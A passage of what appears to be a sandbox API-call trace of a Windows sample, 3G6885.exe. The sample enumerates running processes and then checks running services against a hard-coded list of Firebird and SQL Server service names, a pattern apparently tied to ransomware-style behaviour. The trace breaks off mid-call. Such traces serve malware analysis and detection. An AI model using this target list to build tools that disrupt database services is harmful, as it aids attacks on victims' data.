lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.199] lstrlenW (lpString="svchost.exe") returned 11 [0173.199] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.199] lstrlenW (lpString="svchost.exe") returned 11 [0173.199] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.199] lstrlenW (lpString="svchost.exe") returned 11 [0173.200] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.200] lstrlenW (lpString="svchost.exe") returned 11 [0173.200] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.200] lstrlenW (lpString="svchost.exe") returned 11 [0173.200] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0173.201] lstrlenW (lpString="audiodg.exe") returned 11 [0173.201] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.201] lstrlenW (lpString="svchost.exe") returned 11 [0173.201] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.201] lstrlenW (lpString="svchost.exe") returned 11 [0173.201] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0173.202] lstrlenW (lpString="spoolsv.exe") returned 11 [0173.202] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0173.202] lstrlenW (lpString="taskhost.exe") returned 12 [0173.202] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.202] lstrlenW (lpString="svchost.exe") returned 11 [0173.203] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0173.203] lstrlenW (lpString="dwm.exe") returned 7 [0173.203] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0173.203] lstrlenW (lpString="explorer.exe") returned 12 [0173.203] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0173.204] lstrlenW (lpString="3G6885.exe") returned 10 [0173.204] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0173.204] lstrlenW (lpString="reader_sl.exe") returned 13 [0173.204] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0173.204] lstrlenW (lpString="taskhost.exe") returned 12 [0173.204] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0173.205] lstrlenW (lpString="dllhost.exe") returned 11 [0173.205] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0173.205] lstrlenW (lpString="rundll32.exe") returned 12 [0173.205] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0173.205] lstrlenW (lpString="dinotify.exe") returned 12 [0173.206] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0173.206] lstrlenW (lpString="dllhost.exe") returned 11 [0173.206] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0173.206] lstrlenW (lpString="3G6885.exe") returned 10 [0173.206] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 0 [0173.207] CloseHandle (hObject=0x17c) returned 1 [0173.207] Sleep (dwMilliseconds=0x1f4) [0173.709] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d21c8 [0173.710] EnumServicesStatusExW (in: hSCManager=0x41d21c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0173.710] GetLastError () returned 0xea [0173.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x3f2050 [0173.710] EnumServicesStatusExW (in: hSCManager=0x41d21c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f2050, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f2050, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0173.710] CloseServiceHandle (hSCObject=0x41d21c8) returned 1 [0173.711] lstrlenW (lpString="Appinfo") returned 7 [0173.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0173.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0173.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0173.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0173.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0173.711] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0173.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.711] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0173.711] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0173.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0173.711] lstrlenW (lpString="AudioSrv") returned 8 [0173.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0173.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0173.711] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0173.711] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0173.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0173.711] lstrlenW (lpString="BFE") returned 3 [0173.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0173.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0173.711] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0173.711] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0173.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0173.711] lstrlenW (lpString="CryptSvc") returned 8 [0173.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0173.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0173.712] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0173.712] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0173.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0173.712] lstrlenW (lpString="CscService") returned 10 [0173.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0173.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0173.712] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0173.712] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0173.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0173.712] lstrlenW (lpString="DcomLaunch") returned 10 [0173.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0173.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0173.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0173.712] lstrlenW (lpString="Dhcp") returned 4 [0173.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0173.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0173.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0173.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0173.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0173.712] lstrlenW (lpString="Dnscache") returned 8 [0173.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0173.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0173.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0173.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0173.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0173.712] lstrlenW (lpString="DPS") returned 3 [0173.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0173.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0173.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0173.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0173.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0173.713] lstrlenW (lpString="eventlog") returned 8 [0173.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0173.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0173.713] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0173.713] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0173.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0173.713] lstrlenW (lpString="EventSystem") returned 11 [0173.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0173.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0173.713] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0173.713] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0173.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0173.713] lstrlenW (lpString="gpsvc") returned 5 [0173.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0173.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0173.713] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0173.713] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0173.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0173.713] lstrlenW (lpString="iphlpsvc") returned 8 [0173.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.713] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0173.713] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0173.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0173.713] lstrlenW (lpString="LanmanServer") returned 12 [0173.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0173.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0173.713] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0173.713] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0173.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0173.713] lstrlenW (lpString="LanmanWorkstation") returned 17 [0173.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.714] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0173.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0173.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0173.714] lstrlenW (lpString="lmhosts") returned 7 [0173.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0173.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0173.714] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0173.714] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0173.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0173.714] lstrlenW (lpString="MMCSS") returned 5 [0173.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0173.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0173.714] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0173.714] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0173.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0173.714] lstrlenW (lpString="MpsSvc") returned 6 [0173.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0173.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0173.714] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0173.714] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0173.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0173.714] lstrlenW (lpString="Netman") returned 6 [0173.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0173.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0173.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0173.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0173.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0173.714] lstrlenW (lpString="netprofm") returned 8 [0173.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0173.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0173.715] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0173.715] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0173.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0173.715] lstrlenW (lpString="NlaSvc") returned 6 [0173.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0173.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0173.715] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0173.715] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0173.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0173.715] lstrlenW (lpString="nsi") returned 3 [0173.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0173.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0173.715] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0173.715] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0173.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0173.715] lstrlenW (lpString="PcaSvc") returned 6 [0173.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0173.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0173.715] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0173.715] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0173.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0173.715] lstrlenW (lpString="PlugPlay") returned 8 [0173.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0173.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0173.715] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0173.715] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0173.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0173.715] lstrlenW (lpString="Power") returned 5 [0173.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0173.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0173.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0173.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0173.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0173.716] lstrlenW (lpString="ProfSvc") returned 7 [0173.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0173.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0173.716] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0173.716] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0173.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0173.716] lstrlenW (lpString="RpcEptMapper") returned 12 [0173.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.716] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0173.716] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0173.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0173.716] lstrlenW (lpString="RpcSs") returned 5 [0173.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0173.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0173.716] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0173.716] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0173.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0173.716] lstrlenW (lpString="SamSs") returned 5 [0173.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0173.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0173.716] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0173.716] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0173.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0173.716] lstrlenW (lpString="Schedule") returned 8 [0173.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0173.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0173.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0173.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0173.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0173.717] lstrlenW (lpString="SENS") returned 4 [0173.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0173.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0173.717] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0173.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0173.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0173.717] lstrlenW (lpString="ShellHWDetection") returned 16 [0173.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.717] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0173.717] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0173.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0173.717] lstrlenW (lpString="Spooler") returned 7 [0173.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0173.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0173.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0173.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0173.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0173.717] lstrlenW (lpString="SysMain") returned 7 [0173.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0173.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0173.717] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0173.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0173.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0173.717] lstrlenW (lpString="Themes") returned 6 [0173.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0173.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0173.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0173.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0173.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0173.718] lstrlenW (lpString="TrkWks") returned 6 [0173.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0173.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0173.718] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0173.718] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0173.718] lstrcmpiW 